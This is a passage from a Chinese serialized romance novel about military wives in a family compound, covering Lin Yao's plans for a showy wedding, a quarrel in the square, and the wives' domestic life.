“是啊!她那人又穷酸又抠门!就知道埋头干活,还啥值钱玩意儿都没送过我呢!和嫂子你比起来差远了!你才是我亲嫂子!” 许树正准备迎接林瑶的怒火呢,却没想到,她不但没生气,反倒是笑眯眯道。 “那个周柒柒就是晦气!枣儿是吧?回头嫂子再送你一瓶香水!把你以前没有的全都给你补上!” 这可把许枣给乐坏了,抱住林瑶的胳膊又是一顿夸,把林瑶都夸的找不着北了。 许家一家三口做了三十多个小时的火车,早累得不行了。 许树安排着他们先去诊室那边打地铺。 林瑶也有点困,不过还是跟许树说了会儿话,“你家里人,土是土了点,还勉强凑合。” 许树笑了笑,“我就说吧,她们肯定喜欢你!” 两人正说着话呢,忽然听见门口传来一阵鬼鬼祟祟的脚步声。 “谁?” 许树猛地站起身,盯着门口阴影处问。 第149章 一铲子拍死! 这会儿都夜里十点钟了,许树和林瑶正躺着说话呢,院子里突然传来窸窸窣窣的响动。 林瑶吓得一激灵,整个人往许树怀里缩了缩,手指紧紧攥着被角。 “这大半夜的,什么动静啊?” 那声音像是有人踮着脚走路,又像是牙齿啃咬硬物的咯吱声,在寂静的夜里格外清晰。 许树皱着眉头坐起身,双脚在床沿摸索了两下才找到拖鞋。 他伸手往墙角一探,摸到一把铁铲,“别怕,我去看看。” 他压低声音安慰,可自己的声音都带着颤。 林瑶哆哆嗦嗦地抄起床头的手电筒,开关按了好几次才亮起昏黄的光。 她小跑着跟在许树身后,光打在许树宽厚的背上晃来晃去。 “会不会是耗子啊?如果是耗子的话,你直接一铲子拍死!” “嗯!估摸着这耗子真不小!” 许树喉咙发紧,狠狠咽了口唾沫。 他握着铁铲的手又紧了紧,慢慢推开房门。 吱呀—— 老旧的木门发出声响,手电光扫过地面的瞬间,一双破了洞的解放鞋映入眼帘。 那鞋帮子磨得发白,正是许老头平时穿的那双。 许树脑袋“嗡”地一下,只见父亲佝偻着背趴在地上,枯瘦的手指正捏着半块卤猪蹄往嘴里塞。 许树顿时觉得窘迫极了,又羞又臊,连声音都变了调。 “瑶瑶,这么危险,你在屋里待着,我去看就行!” 他一把夺过林瑶手里的手电,推着她往屋里退。 “砰”地一声关上门后,快步冲到父亲身边,弯腰要把人拽起来。 “爹!你干啥呢你!我们还当是耗子呢!差点给你一铲子打死!” 许树压低声音,又急又恼。 许老头冷不丁被儿子扯起来,猪蹄“啪嗒”掉在地上,沾满尘土。 他也不嫌弃,用袖口胡乱擦了擦,咬下一大口肉,含糊不清地笑道。 “爹不是想着这猪蹄还有不老少肉呢,就这么丢了怪可惜的!娃也知道,爹最好这口了!” 许树有些无奈。 “那你也不能半夜跑我们门口捡啊,我不是跟你说过了嘛,瑶瑶是城里人,见不得你们这样!行了行了,你赶紧回去!” 他一边说,一边推着父亲往院门口走,生怕林瑶突然出来。 等把父亲送回屋,许树抹了把脸,强装镇定地回到房间。 林瑶正坐在床边,眼神里满是疑惑。 他挠了挠头,眼神躲躲闪闪。 “是咱爹,他看着外头起风了,怕你着凉,想提醒你多盖被子!” 林瑶本来最不喜欢的,就是这个一口黄牙的公公,被许树这么一说,心里的嫌弃立马稍多了。 她撇了撇嘴,手指戳了戳许树的胸口。 “没想到你爹看着那么木讷,还挺贴心的,我现在总算知道,为啥你那么会疼人了。” 许树顺势抓住她的手指,在指尖轻轻一吻,“那可不,不过啊,我只疼你~!” 林瑶被逗得脸颊绯红,正要说什么,许树突然正色道。 “对了,瑶瑶,我爸妈都来了,你爸妈那边,什么时候能到?” 林瑶咬着嘴唇,有些忐忑。 “我没敢自己跟他们说,让我哥去带话,估计过两天就能到吧,不过到时候他们过来,知道我和你领证了,肯定会生气,你得给哄好了!” 家里给拿了钱,许树这回心里有底气了,拍了拍胸脯道。 “放心吧!对了,之前你不是说在国营饭店办嘛?我跟我爸妈说过了,她们愿意!我把这婚礼办得风风光光的,你爸妈肯定就不生气了!” 林瑶眼珠子一转,脸上露出得意的笑。 “国营饭店太远了,花的钱也多,昨天我去找了一趟周主任,她现在虽然已经不是主任了,但是到底也是政委夫人,能跟后勤说上话,已经说好了,咱俩的喜宴,在部队礼堂办,吃饭嘛,就在军区食堂!她帮着给张罗。” 她仰起头,下巴微微扬起,“再怎么说,我都是军属区卫生所的医生,还是有这个资格的!” 许树一把将林瑶搂进怀里,在她额头上重重亲了一口。 “太好了瑶瑶!你可真会过日子!这部队礼堂就不用花钱租了,部队食堂,肯定也比国营饭店要实惠多了!说出去也有面子!” 林瑶靠在许树怀里,嘴角勾起一抹不易察觉的笑。 只有她自己知道,这场婚礼,可不只是为了省钱。 几天前,她专门找邱春芳问过,周柒柒来随军后,两人并没有举办婚礼,甚至连个像样的仪式都没有,直接就过上日子了。 甚至许多军嫂一开始都不知道沈团长娶媳妇了,还是在邱春芳的“宣传”下,才知道这么号人的。 周柒柒前头在许多地方都把她给比下去了。 现在,终于有机会,让她出口气了! 她要好好办一个婚礼,狠狠打周柒柒的脸!风风光光地赢周柒柒一次! 这两人各怀鬼胎,但对这个决定都满意得不得了。 过了两三天,军属区里,关于过几天部队礼堂要举办婚礼的事儿就到处传开了。 这天是礼拜六,也正好是军属区每月一次放映电影的日子。 周柒柒系着碎花围裙,在厨房里忙得热火朝天。 灶台边摆着三个搪瓷盆,里头装着熬好的焦糖、炼乳,还有敲得细碎的水果糖。 之前她做的都是普通的焦糖爆米花。 先熬一层琥珀色的焦糖,然后把爆好的玉米撒进去,翻拌均匀,顶多再裹上一层炼乳。 脆脆甜甜的,本身已经很好吃了。 但是想着向阳爱吃,她就又研究了点新花样。 把家里平时没什么人爱吃的水果糖用擀面杖敲碎了,等爆米花裹上炼乳之后,趁着炼乳还没完全干透,在撒上一层糖碎。 分别做了橘子瓣糖味、菠萝糖味,还有话梅糖三种。 刚做好,还没来得及尝味道怎么样呢,姜向阳这个小馋猫就寻着味儿找过来了。 这家伙在自己家啥也不管,但是到了周柒柒家,还是挺有礼貌的,怕自己身上脏,没进厨房,只是趴在门框上,小鼻子一动一动地闻着。 “周阿姨,你在做什么呀?怎么你家的空气都是甜的?” 周柒柒被他这副样子逗乐了,捂着嘴边笑边道。 “你这小泥猴儿,说起吃的,嘴巴就变这么甜了?” 说着便是拿了个搪瓷盘出来,给三种口味的爆米花都抓了一把进去。 “快尝尝,这三种口味哪种最好吃,这还有一锅呢,喜欢哪种,阿姨就再多做一锅!这次,保管你能吃得饱饱的!” “周阿姨万岁!” 姜向阳欢呼一声,抓起爆米花就往嘴里塞。 “橘子的好吃!话梅的也好吃!” 每尝一口,他的眼睛就亮得像星星。 可每个口味都尝完,他却犯了难。 “这两种都好吃!我都喜欢,周阿姨,我选不出来!” 小家伙突然眼睛一亮。 “舟舟还没吃呢吧?我让舟舟帮我选!” 周柒柒笑着在围裙上擦了擦手,又盛了满满一盘。 “舟舟刚从美术班回来,还在画画呢,说是今天上课的画输给同学了,要互相给对方画一副人像呢!这会儿估摸应该快画完了,咱们一起看看去!” 说着,她端起盘子,和姜向阳一前一后往屋里走去。 第150章 舟舟~好舟舟~ 姜向阳的小眉头瞬间就紧锁了起来,小嗓门儿里全是疑惑。 “啥同学啊?我妈昨儿还说呢,舟舟的师傅是个老头儿,就关着门教她一个人画画,咋冷不丁冒出个同学来?男同学还是女同学啊?他也能看懂舟舟说的话吗?” 周柒柒笑得眉眼弯弯。 “我想想啊,那孩子姓卓…卓啥来着…” 她就考试那一次见过一回,后头这两次画画,都是沈淮川带着过去的,一时之间想不起来了,费了半天劲儿才想起来。 “卓光明!对!是叫这个名儿!记得是个挺乖巧白净的男娃娃,两个人都会画画,估计是用画来交流的?这咱也不知...” 话才说到一半,姜向阳这小家伙已经一阵儿风似的窜出去了。 “这孩子...” 周柒柒望着他的背影笑骂一句。 见向阳去叫,她也就不管了,把搪瓷盘子放在了餐桌上,就去熬下一锅焦糖酱去了。 姜向阳压根没敲门,“砰”地一下就推开了沈渡舟房间的木门,门板撞到墙发出“咚”的一声。 沈渡舟正趴在小书桌上画画,听见动静笔尖顿了顿,却没回头,只是把画纸往自己这边挪了挪。 “舟舟!别画啦!” 姜向阳扑过去就拽她胳膊。 “整天画画有什么意思啊!赶快尝尝爆米花哪个口味好吃?” 沈渡舟没理他,先小心翼翼地把画纸卷起来塞进画夹,又起身去脸盆架前洗手。 她洗手时特别仔细,指尖在肥皂沫里转来转去,连指甲缝都搓了个遍。 等她擦干手坐到桌边,才慢悠悠地拿起爆米花。 搪瓷盘子里分别堆着裹了橙色、深紫色和浅黄色糖屑的爆米花,姜向阳的手在旁边直比划。 “怎么样?怎么样?哪个好吃?我觉得橘子味的最甜,但是这个深紫色的,话梅味儿的酸酸的,像是在喝酸梅汤一样,也好吃!你快帮我选选!选中了,周阿姨还单独给蹦一锅呢!” 沈渡舟纤细的手指在三个口味的爆米花中间转来转去,最终却指向了一个沾着浅黄色糖粒的。 姜向阳眼睛瞪得溜圆,有些失望道。 “菠萝味儿?你咋选这个啊?” 他抓起一颗塞进自己嘴里,嚼得咯吱响。 “咱虽说没吃过新鲜菠萝,可菠萝罐头也尝过啊,这爆米花压根没那味儿!不甜不酸的,口味那么淡,跟嚼棉花似的!” 沈渡舟小口小口地嚼着,腮帮子一鼓一鼓的。 她抬起眼,睫毛在眼睑下投出一小片阴影,嘴唇无声地动了动。 “菠萝味,好吃。” “向阳!选好味儿没?” 周柒柒从厨房探出头,围裙上还沾着焦糖酱,“最后一锅刚蹦出来,得赶紧裹糖粒呢!” 姜向阳盯着盘子直嘀咕,“橘子……话梅……” 他纠结得眉头又锁起来,听见周柒柒催第二遍,才撇着嘴喊,“菠萝味儿的吧!” 这小子不是不爱吃菠萝味的吗? 周柒柒疑惑地眨了眨眼睛,探出身子去看。 姜向阳正凑到沈渡舟跟前,笑得跟朵喇叭花似的。 “舟舟,你看,我都选了你最喜欢的味儿了,你也给我画一幅画呗!咱俩天天一起玩,你都还没给我画过呢!你可不能偏心啊!” 他说着就把爆米花往沈渡舟嘴边递,指尖糖屑和泥点子混在了一起。 “不画。” 沈渡舟摇了摇头,有些嫌弃地看着姜向阳的手,往后躲了躲。 她没接姜向阳手里的爆米花,而是自己从盘子里捏了一颗,放进嘴里慢慢嚼着,眼神落在墙边的花上,压根没看他。 “舟舟~舟舟~好舟舟~” 姜向阳急得直晃她胳膊,小脸都快皱成包子了,“你就答应我嘛!” 不过他左求右求的,沈渡舟都没松口。 眼看他就要哭出来,邓翠香挎着个布包进门了,一看见这场面就直摇头。 “你这孩子咋又缠着舟舟呢?” 她伸手把姜向阳往后拽了拽。 “你看你袖口的泥点子,舟舟今儿穿得多俊的粉色布拉吉,溅上泥我可揍你啊!” 沈渡舟今儿确实穿得鲜亮,是周柒柒这几天新做的,粉色布拉吉领口绣着朵小桃花,袖口滚着白边,衬得她小脸越发白净。 周柒柒把最后一锅爆米花也爆出来了,用个搪瓷大盆端了出来,笑着问道。 “怎么了这是,说什么呢?” 刚说完,就看到朱莹莹也站在邓翠香后头呢,赶紧先问到。 “你把莹莹也给叫过来了?怎么这么半天?” 邓翠香替朱莹莹把耳边的湿发丝给挽到耳朵后头。 “莹莹在家吭哧吭哧锻炼呢!把时间都给忘了,我叫她她才反应过来,洗了把脸换了身衣裳才来!” 周柒柒看她额头和脖子上都满是汗,赶紧拿了干毛巾递给她。 “不得了!莹莹,合着咱俩经常去跑步都还嫌不够,你自个还偷摸搁家加练呢!” “哎呀,柒柒,你就别笑话我了,我也不想锻炼的,要不是为了...” 朱莹莹表情痛苦,她和周柒柒一样,都不爱运动,要不是沈团长和王团长监督,她们都不想去跑步的,更何况是自己在家加练了。 但她的情况特殊,大夫说,除了饮食上注意,最好身体上也加强锻炼。 周柒柒和邓翠香自然知道她的状况,也不再取笑她,而是把话题再转回舟舟和向阳身上。 这会儿舟舟乖乖坐在凳子上吃爆米花呢,而向阳则是有点生气了,背对着舟舟,一副闹别扭的样子。 周柒柒捏了捏他肉乎乎的小脸蛋。 “行了行了,别生气了,舟舟都还从来没给我画过呢,她给同学画,就是完成作业而已,而且她那个老头师傅严厉的很,还有好多其他作业呢!” 姜向阳“唰”地转过身,仰着头问道,“真的?” 周柒柒头刚晃了一下,姜向阳立马在衣服上蹭了蹭手,抓起一颗菠萝味的爆米花,递到沈渡舟面前。 “那我原谅你了,舟舟。” 沈渡舟盯着那颗爆米花看了几秒,才慢慢伸过手接过来,放进嘴里时,嘴角似乎往上扬了扬。 姜向阳一看她吃了,立马又凑上去,刚才那副委屈样儿全没了,嬉皮笑脸的。 邓翠香看着直摇头,把马扎往肩上一扛。 “行了行了,眼看快六点了,赶紧去广场占座去,晚了连旮旯角都没啦!” 一行人往广场走的时候,路上全是抱着马扎的军嫂和打闹的孩子。 邓翠香一手拎着马扎,一手从兜里掏瓜子。 “你们俩都听说了吧?下礼拜咱们军区食堂要办婚礼呢!是那个林瑶和她男人!” 周柒柒叹了口气。 “咋没听说?邱春芳这两天跟个广播喇叭似的,蹲在自家门口择菜都念叨,说那是她远房亲戚,恨不得让全军区都知道。” 说话间就到了广场,老远就听见邱春芳的大嗓门。 “对对对!瑶瑶可是正儿八经医学院毕业的,分配到咱军属区卫生所了!到时候都来吃席啊,先吃糖!吃糖!” 她站在一棵老槐树下,手里挥舞着块花手绢,周围围了好几个军嫂,叽叽喳喳说得热闹。 正中间,站着穿一身红裙子的林瑶,正给几个军嫂发喜糖呢。 她隔着老远就瞅见周柒柒了,嘴角漾出一抹自得。 周柒柒懒得看她那张脸,拽着邓翠香和朱莹莹就绕着路走。 却没想到,林瑶迈着小碎步就拦在了几人面前。 “哎~~周柒柒,别走啊!给你喜糖!过几天我和许树哥结婚,你俩咋说也是老熟人了,到时候来吃席呗!” 第151章 婚礼就跟葬礼差不多 这林瑶,平时压根就看不上她,一口一个乡下丫头的。 今儿个居然主动邀请她去吃席,太阳真是打西边出来了。 而且看她手里的喜糖,居然还是大白兔奶糖呢! 这玩意儿可不便宜,要两块多钱一斤呢! 她还记得,上次李红娟给妹妹相亲,招待的周主任,也只是买的大虾酥糖,一块二一斤。 大院里家里有喜事,基本上也都是这个档次的糖,算拿得出手的了。 很少有人花那么多钱买大白兔奶糖。 林瑶这糖,也不知道是许家人咬着牙给买的,还是她自己掏腰包买的。 周柒柒轻撇了一眼,却也没放在眼里,唇角扯出个淡得几乎看不见的笑。 “别介,我跟许家早没关系了。这席啊,谁爱吃谁吃,我可不凑那热闹。” 话音刚落,那边传来嗑瓜子的“咔吧”声。 邱春芳、李红娟领着两个相熟的嫂子晃悠过来,四人手里都捏着瓜子,边走边吐皮,瓜子皮星星点点落了一地。 邱春芳扫了眼周柒柒身上的衣服,不是新裙子,而是件旧的蝙蝠袖上衣,配着喇叭裤,裤脚都磨得起了毛边。 她“噗”地吐掉嘴里的瓜子壳,眼尾吊得老高。 “我说周柒柒,军属区多久没办喜事了?大伙儿都盼着去凑个热闹,你咋就不去呢?难不成是怕出礼钱?是不是沈团长那点津贴,终于叫你给霍霍完了?” 林瑶见有人撑腰,又瞧周柒柒穿得“寒酸”,顿时觉得自己占了上风,拿手绢捂着嘴“咯咯”笑起来,那笑声尖细得像猫叫。 “哎呀,不就三两块钱礼钱嘛,要是真拿不出,跟我说一声,你白吃白喝也行啊。” 周柒柒眉头皱起,正准备还嘴呢,邓翠香却是挡在了她前头,指了指她那手上的布兜。 “三块五块谁拿不出?瞧瞧我们柒柒,今儿个做爆米花,买的是进口的鹰唛炼乳,一罐就三块钱!这钱花在孩子身上,孩子们吃得直吧嗒嘴,夸一句‘婶子手真巧’,可要是花在不该花的地方...啧啧,怕是等于喂了狗,那狗嫌不是肉骨头,回头还得咬你一口呢!” 她这话骂的拐弯抹角的,邱春芳一时半会没听懂,眼睛直勾勾盯着那爆米花,咽着唾沫,没回嘴。 林瑶到底是念过大学的,脑子转得快,顿时脸就涨红了,指尖哆嗦着指向邓翠香。 “关你什么事儿啊!你...你骂谁是狗呢你?说话咋这么粗俗!” 邓翠香嘴一撇,叉着腰往邱春芳几人身上扫了一圈。 “谁伸脖子接这话,我就骂谁!哦对了,还有跟着瞎起哄的狗腿子们!” “你!” 邱春芳这下听明白了,气得脸都歪了。 “邓翠香你别给脸不要脸!不就卖了两天酱菜吗?挣俩臭钱就忘了自己是谁了?我就不信你摆摊的时候,见了人不是堆着笑脸求着买!” 李红娟也在一旁帮腔,鼻子里哼了一声。 “就是!她男人可是营长,她倒好,跑巷子里卖酱菜,也不嫌给男人丢脸!” 邓翠香“啪”地把手里的马扎往地上一摔,发出“咚”的一声响。 她叉着腰,胸脯挺得老高。 “我摆摊咋了?我卖酱菜,你情我愿,买卖公平!哪像你们,见了人就跟恶狗似的乱吠!” 她说的话气势十足,但邱春芳她们仗着人多,压根不怕。 想着邓翠香现在在这儿扬武扬威的,卖酱菜的时候,还不是要跟人赔笑脸。 正吵得不可开交时,一直没吭声的朱莹莹突然上前一步,学着邓翠香的样子,把手里的马扎“哐当”一撂,清了清嗓子。 这姑娘平时安安静静,此刻却仰着头,声音清亮。 “毛主席都说了,自力更生,艰苦奋斗。新社会人人平等,做买卖咋就丢人了?咱们军区宣传部还号召军嫂们走出家门呢!你们这会儿嫌这嫌那,是觉得军区的政策不对?要不,让你们家男人去军区说说理去?” 这话一出,跟扔了个炸雷似的。 邱春芳几人脸色瞬间变了,你看看我,我看看你。 谁都知道,在部队里最忌讳跟政策对着干,要是真闹到男人那儿,回去少不了一顿数落。 李红娟低着头,小声骂了句“小狐狸精”,却不敢再大声嚷嚷。 林瑶一看场面不对劲,赶紧出来打圆场,脸上堆着笑,把手里的喜糖盘子往周柒柒面前送了送。 “哎呀,说我结婚的事儿呢,咋扯这么远了!都消消气,吃糖吃糖!” 她顿了顿,又把目光转向周柒柒,眼神里带着点不易察觉的得意。 “柒柒,你就算不想吃席,明儿个去礼堂观礼也行啊,不用出礼钱的。” 说着,她忽然瞪大了眼睛,绕着周柒柒转了一圈,像是刚想起来什么似的,一拍手。 “哦对了!柒柒你跟沈团长结婚的时候,好像没在军属区办婚礼吧?可能不熟悉呢!” 说着,她又佯装不忍心,安慰周柒柒道。 “瞧我这张嘴,柒柒,你应该没伤心吧?” 她眼神却瞟着周柒柒,挑着眉毛等她反应,那意思再明显不过——看你连婚礼都没有,多寒酸。 “林瑶同志,别柒柒,柒柒的,咱俩不熟。” 却没想到,周柒柒脸上一点儿羡慕嫉妒恨的神情都没有,反倒是一脸同情的看向林瑶。 “我有什么好伤心的,你嫁那种男人,婚礼就跟葬礼差不多,我就算要伤心,那也是替你伤心,好好的安生日子不过,非自己往火坑里跳,以后你的舒心日子,怕是不多咯!” 她这话说的真情实感,是实打实地为了林瑶好。 可林瑶却觉得周柒柒是嫉妒,嫉妒她抢走了许树,抢走了本该属于她的“风光”。 她仰着头,说不出的得意。 “你懂什么?许树哥对我可好了!我看呐,你是吃不着葡萄说葡萄酸!” 周柒柒看着她这副样子,忽然觉得有点可笑,又有点可怜。 “随你怎么想吧。” 林瑶看周柒柒声音都小了,还以为她是认怂了,炫耀得更厉害了,得意地端起了手中装着喜糖的盘子。 “不光是许树哥对我好,我公公、婆婆,还有小姑子,都对我好得不得了!全都把我捧在手心上!要不然也不会给我买这么贵的喜糖!” “她们,对你好?” 周柒柒像是听到了什么天大的笑话一般。 第152章 红事变白事 在许家村熬了十几年,原身对许家那三口子的脾性,早摸得透透的。 李桂香成天把“儿媳妇就是来伺候人的”挂在嘴边,说自己这辈子就是这么过来的,好像这就是天经地义的规矩; 许老头看着憨厚老实,实际上蔫坏蔫坏的,李桂香做的那些事,没一件不是他在背后默许的; 小女儿许枣更是会装,在外人面前装得乖巧懂事,背地里却一肚子心眼。 这许家在村里名声差得要命,连村口老槐树下爱唠嗑的婶子们,见着他们都要撇撇嘴、翻白眼,躲得远远的,压根没人愿意和他们做邻居。 也正因为名声不好,他们才和从外地搬来的周家一样,只能住在村里最偏僻、最冷清的角落。 原身当年带着家里的财产到了许家,任劳任怨,当牛做马十几年,她们对原身都是当丫鬟一样的使唤,稍有不顺心,李桂香就非打即骂。 所以,周柒柒压根不信许家会真心对林瑶好。 就算眼下看着和和气气的,指不定就是装样子,多半是盯上了林瑶家里的钱。 要说这林瑶,从小也是被家里宠着长大的,没吃过什么苦,也不知道怎么就被许树的花言巧语给骗住了。 不过转念一想,也多亏林瑶上了当,要不然原身还不知道要在许家被磋磨成什么样呢。 原身父母走得早,身边没个亲人,又被李桂香长期打压,没读过多少书,也没个一技之长,日子过得那叫一个暗无天日。 也不知道原身在天上看着现在的一切,心里是高兴多一点,还是难过更多些。 正胡思乱想着,一声又尖又刺耳的叫声,把周柒柒拉回了现实。 “嫂子~!” 这声音拖得老长,带着股让人起鸡皮疙瘩的假热情。 周柒柒一听就知道,是许枣来了,那个又懒又爱装模作样的丫头。 李桂香重男轻女,对亲闺女许枣也没多少疼爱,成天使唤她干活。 可许枣鬼精着呢,遇上不想干的活儿,就娇声娇气地喊这么一嗓子,再眨巴着大眼睛,装出可怜巴巴的样子撒个娇。 原身心一软,就把活儿全揽到自己身上了。 可许枣从来没念过原身的好。 有一回,原身帮她干活,耽误了李桂香吩咐的事儿,被李桂香追着在院子里打得嗷嗷叫,许枣就站在一旁,连句话都不敢说。 还有许树寄回来的布料,原身好不容易分到巴掌大一块,又被许枣几句好话哄了去。 这丫头的嘴,甜得能把死人说活,和许树还真是亲兄妹,一个德行。 说话间,许枣迈着小碎步跑过来,眼皮都没往周柒柒身上抬一下,直接挽住林瑶的胳膊,那亲热劲儿,不知道的还以为是亲姐妹呢。 “嫂子,我怕你喜糖不够发,又给你多拿了一袋,你累不累?我帮你捶捶肩膀。” 话还没说完,人就绕到林瑶身后,有一下没一下地捶起来,嘴里还念叨着。 “娘不是说了嘛,发喜糖这种累人的活儿,让我干就行了,嫂子你干啥自己跑这一趟啊?” 林瑶被哄得眉开眼笑,故意把目光往周柒柒这边扫,眼神里满是得意,像是在说“你看看,许家人对我多好”。 旁边邱春芳咂着嘴感慨,“瞧这姑嫂俩,感情可真好!” 几个看热闹的嫂子也跟着附和,“就是啊!林大夫这是嫁了个好人家啊!” 她们只知道两家换嫁的事儿,却不清楚内里的弯弯绕绕,平日里又不待见周柒柒,自然都帮着林瑶说话。 就在这个时候,姜向阳这个皮猴子带着沈渡舟过来了。 一见几个大人还在这儿聊天,急得直嚷嚷。 “妈,你们干啥呢!还不去占座!一会儿好座儿都没了!” 周柒柒看着两人跑得气喘吁吁,沈渡舟小脸上都是汗,赶忙掏出怀里的手帕,轻轻给他擦了擦脑门上的汗。 舟舟扬着小脸,眼里亮晶晶的,无声地说着,“谢谢。” 林瑶看到这一幕,心里更得意了,更加觉得自己这个换嫁的决定好得不得了,搂着许枣的肩膀,故意提高嗓门。 “反正我呀,是要过我的好日子去咯!反倒是有些人,嘴上说得好听,实际上还不是得给个哑巴当后...” 妈字还没说出口呢,周柒柒抄起地上的马扎就砸了过去,厉声喝道。 “留点口德!这么大的人了,什么话该在孩子面前说,什么话不该说都不知道,是真想红事变白事了是不是?!” 马扎带着风声飞过去,林瑶和许枣吓得脸色发白。 许枣尖叫着躲到林瑶身后,林瑶手忙脚乱地想拉着她后退,可哪里来得及。 “啪”的一声,马扎结结实实砸在两人小腿上,林瑶踉跄着往后退,崭新的红裙裙摆被勾出长长的丝线。 她气得脸涨得通红,手指着周柒柒,哆嗦着半天说不出一句完整的话。 “哎呦...你...你你你...” 周柒柒冷冷地盯着她,眼神像冰刀一样。 “你什么你?” 说着,一步一步朝林瑶逼近。 “下次还敢在孩子面前胡说半个字,我撕烂你的嘴!” 说完,弯腰捡起马扎,转头冲着朱莹莹他们喊了声:“咱们走!” 头也不回地离开了,只留下林瑶和许枣在原地,又疼又气,却一句话也不敢回嘴。 这会儿时间还早,周柒柒几人找了个靠前的空地坐下。 她把装爆米花的布包和纸片递给姜向阳,让他拿去和小伙伴们分着吃。 姜向阳高兴得蹦蹦跳跳,立马跑去通知小伙伴了。 沈渡舟没急着走,而是走到周柒柒面前,伸出纤细白嫩的小手,轻轻抚了抚她皱起的眉头,像是在问她是不是心里不痛快。 这孩子,自己被人骂了,还反过来担心她。 周柒柒心里一暖,皱着的眉头立马舒展开来,“婶子没事儿,你快去玩吧。” 沈渡舟这才放心,被姜向阳拉着跑开了。 孩子们走了,电影还有好一会儿才开场呢,几个大人凑在一起说话。 周柒柒抓起朱莹莹的手,笑着夸道。 “莹莹,没想到啊,你今儿胆子居然那么大,怼的李红娟他们脸都白了!” 朱莹莹这会儿脸上还泛着红晕,心脏砰砰直跳,伸手扶了扶眼镜,不好意思地说。 “总不能一直让你们来出头吧!我跟在你俩后头学这么久了,也该出师一回了!” 邓翠香抢着话头,嗔怪道。 “哎,别说跟着我俩学,我也是跟着周老师学的,实际上我自个儿嘴皮子笨着呢!” 说着,还伸手对着周柒柒做出膜拜的样子。 周柒柒轻轻打了一下她伸出来的手。 “好啊你,翠香姐,你这是变着法儿地说我泼辣是吧?” 三个女人你一言我一语,笑作一团,又聊起了其他家长里短的事儿。 周柒柒刚才蹦爆米花的时候,不小心被烫到了眼皮,时不时会伸手揉一下眼睛。 邓翠香留意到了,还以为是林瑶刚才说的那些话,让她心里不痛快了。 晚上回去,邓翠香就把白天发生的事儿,一五一十地告诉了姜营长。 第153章 你想啥美事儿呢 这会儿已经十月底,马上十一月了,正是秋季战备训练的关键阶段,部队里正计划展开野外驻训,另外还要准备年终考核,忙得很。 姜营长回到家,已经是晚上九点多了,孩子们也已经睡了。 邓翠香给姜营长拌了碗热干面,还顺带煎了两个金黄的荷包蛋。 姜营长一边吃着,邓翠香一边跟他说着白天发生的事儿,尤其是在广场上发生的冲突。 她跟演电影一样,一人分饰多角。 只见她半蹲下身,脑袋左右摇晃,双手抓着空气做出摆弄辫子的样子,尖着嗓子学李红娟的腔调。 “就是!她男人可是营长,她倒好,跑巷子里卖酱菜,也不嫌给男人丢脸!” 那扭捏作态的模样,活脱脱把李红娟那股子酸劲儿复刻了出来。 话音刚落,她又大步跨到桌子另一头,腰板一挺,双手叉在腰间,胸脯高高耸起。 “我摆摊咋了?我卖酱菜,你情我愿,买卖公平!哪像你们,见了人就跟恶狗似的乱吠!” “说得好!!” 姜营长嘴里的面条还没嚼完,就急着鼓掌,还竖起了大拇指。 “我媳妇这张嘴,能顶十挺机关枪!” 邓翠香走过来,屁股挨着姜营长,跟他坐在同一条长凳上,凑到了他边上,笑着问道。 “你真的觉得说得好?你真支持我卖酱菜?不嫌我丢你的脸?” 她为人爽利,在大院里算是人缘不错的,但大部分嫂子都不咋支持她出去卖酱菜。 理由嘛,其实就和王嫂子一样,觉得出去抛头露面卖货,丢了自家男人的脸。 就说今儿电影散场后,好几个嫂子围过来,嘴上问着她腰伤恢复得咋样,话里话外都是“别出去现眼”的意思。 所以,她心里有点打鼓,说是跟姜营长唠白天发生的事儿,其实也是想接着机会,问问他到底什么态度。 姜营长往边上挪了挪,给媳妇腾出老大一块地方,又夹起一筷子面,吸溜一声送进嘴里,含糊不清地说。 “你头一回出去卖酱菜,我就表过态了,你做啥我都支持!这有啥丢脸的,我媳妇凭本事挣钱,不偷不抢的,还能给家里添进项,我高兴还来不及呢!” 他说话时,腮帮子鼓鼓囊囊的,眼睛却一直盯着邓翠香,满是心疼和骄傲。 邓翠香这下心里彻底放心了,又挪了屁股出来,去卧室取了个小本子出来,兴冲冲地拿给姜营长看。 “你不知道,这我才出去卖了三回,就已经挣了三十二块零五毛三分钱了!” 姜营长累一天了,没咋仔细看本上的数字,眼睛瞪得老大,故意夸张地喊。 “这么多?!媳妇真给我长脸!你这业务还不熟练呢,就能挣这么多,赶明儿后院那一院子酱菜腌好了,你赚的岂不是要比我这个臭营长还多了!” “那可不!到时候我要骑在你头上拉屎!” 邓翠香得意地扬起脸蛋,胸脯高高的,她做饭的时候嫌热,把胸前的纽扣都给解开了,这会儿露出一大片肌肤,看得姜营长眼睛一热。 “那等啥到时候啊,你现在就可以骑在我头上拉屎!” 姜营长话音未落,一把撂下筷子,胳膊一抄,将邓翠香扛在了肩头。 邓翠香吓得惊叫一声,双手死死拽着丈夫的军装,脸涨得通红。 “干啥呢,干啥呢!孩子们刚躺下,都还没睡实呢!” 姜营长却像没听见似的,大步往卧室走。 邓翠香在他背上又踢又拍,可姜营长的胳膊像铁钳子似的,纹丝不动。 刚把人扔到床上,他就急不可耐地伸手解自己的衣扣。 “哎呀!别别别!我还有正事儿没和你说呢!” 邓翠香赶忙抓住他的手,眼里满是焦急。 姜营长憋得满脸通红,手却听话地停了下来,嘟囔着。 “你最好是真有正事儿!不然我可罚你啊!” 邓翠香坐起身,一边整理凌乱的衣裳,一边打趣。 “你还罚上了!你想罚我啥?你说,我听听!” 姜营长胡茬扎人的脸凑到她耳边,呼出的热气痒痒的。 “罚你~!再给我生个儿子!” “去去去~!这一个向阳都快闹死我了!你还要儿子!就算要生,我也要生个闺女啊!” 邓翠香笑着把他推开,顺手拍了下他的后背。 两人你一言我一语地打闹着,屋里满是欢声笑语。 眼看着时间不早了,邓翠香又拉着姜营长回到了餐桌前,赶紧说起了正事。 “我是想跟你沈团长和周柒柒的事儿。” 姜营长刚夹了一筷子面,一听是这俩人的事儿,立马就正色道,“行,你说,啥事啊?” 邓翠香把下午林瑶的话给复述了一遍,手撑着下巴说道。 “当初柒柒刚来咱们军区的时候,比较匆忙,再加上是换嫁,估摸着沈团长是不想张扬,所以就没想着办婚礼,直接就过上日子了,但现在这都三个月了,林瑶都大张旗鼓地办上婚礼了,还在军区食堂请客,可柒柒连个像样的仪式都没有。” 说着说着,她替周柒柒感到委屈,眼角都带上泪了。 “同样都是女人,我知道,她心里肯定不美!今儿看电影一直想哭呢!” 姜营长皱着眉头想了想,问道,“那咋办,你说!总不能让我给她办一个吧!” “去你的,你想啥美事儿呢!” 